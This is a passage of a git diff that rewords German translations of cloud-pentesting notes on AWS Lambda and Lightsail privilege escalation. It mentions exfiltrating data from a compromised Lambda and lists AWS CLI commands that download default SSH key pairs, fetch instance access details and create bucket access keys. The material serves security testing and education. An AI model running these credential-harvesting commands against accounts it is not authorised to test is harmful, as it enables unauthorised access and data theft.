+Eine **stealthier Methode, um diese Schwachstelle auszunutzen**, findet sich in:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -240,11 +240,11 @@ Eine **diskretere Möglichkeit, diese Schwachstelle auszunutzen**, findet sich i
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
-Vielleicht sind Sie mit diesen Berechtigungen in der Lage, eine Funktion zu erstellen und sie über die URL auszuführen... aber ich konnte keinen Weg finden, dies zu testen, also lassen Sie es mich wissen, wenn Sie es tun!
+Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie aufrufen, indem du die URL verwendest... aber ich konnte keinen Weg finden, um es zu testen, also lass es mich wissen, wenn du es tust!
### Lambda MitM
-Einige Lambdas werden **sensible Informationen von den Benutzern in Parametern empfangen.** Wenn Sie RCE in einem von ihnen erhalten, können Sie die Informationen, die andere Benutzer an sie senden, exfiltrieren, überprüfen Sie es in:
+Einige Lambdas werden **sensible Informationen von den Benutzern in Parametern empfangen.** Wenn du RCE in einem von ihnen erhältst, kannst du die Informationen, die andere Benutzer an sie senden, exfiltrieren, siehe dazu:
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
index 0f6339c07..ab0bf727f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
@@ -11,7 +11,7 @@ Für weitere Informationen über Lightsail siehe:
{{#endref}}
> [!WARNING]
-> Es ist wichtig zu beachten, dass Lightsail **keine IAM-Rollen des Benutzers** verwendet, sondern von einem AWS verwalteten Konto, sodass Sie diesen Dienst nicht für Privesc missbrauchen können. Allerdings könnten **sensible Daten** wie Code, API-Schlüssel und Datenbankinformationen in diesem Dienst gefunden werden.
+> Es ist wichtig zu beachten, dass Lightsail **keine IAM-Rollen des Benutzers** verwendet, sondern die eines von AWS verwalteten Kontos, sodass Sie diesen Dienst nicht für Privilegieneskalation missbrauchen können. Allerdings könnten **sensible Daten** wie Code, API-Schlüssel und Datenbankinformationen in diesem Dienst gefunden werden.
### `lightsail:DownloadDefaultKeyPair`
@@ -19,7 +19,7 @@ Diese Berechtigung ermöglicht es Ihnen, die SSH-Schlüssel zum Zugriff auf die
```
aws lightsail download-default-key-pair
```
-**Potenzielle Auswirkungen:** Sensible Informationen innerhalb der Instanzen finden.
+**Potenzielle Auswirkungen:** Sensible Informationen in den Instanzen finden.
### `lightsail:GetInstanceAccessDetails`
@@ -27,7 +27,7 @@ Diese Berechtigung ermöglicht es Ihnen, SSH-Schlüssel zu generieren, um auf di
```bash
aws lightsail get-instance-access-details --instance-name
```
-**Potenzielle Auswirkungen:** Sensible Informationen innerhalb der Instanzen finden.
+**Potenzielle Auswirkungen:** Sensible Informationen in den Instanzen finden.
### `lightsail:CreateBucketAccessKey`
@@ -35,7 +35,7 @@ Diese Berechtigung ermöglicht es Ihnen, einen Schlüssel zum Zugriff auf den Bu
```bash
aws lightsail create-bucket-access-key --bucket-name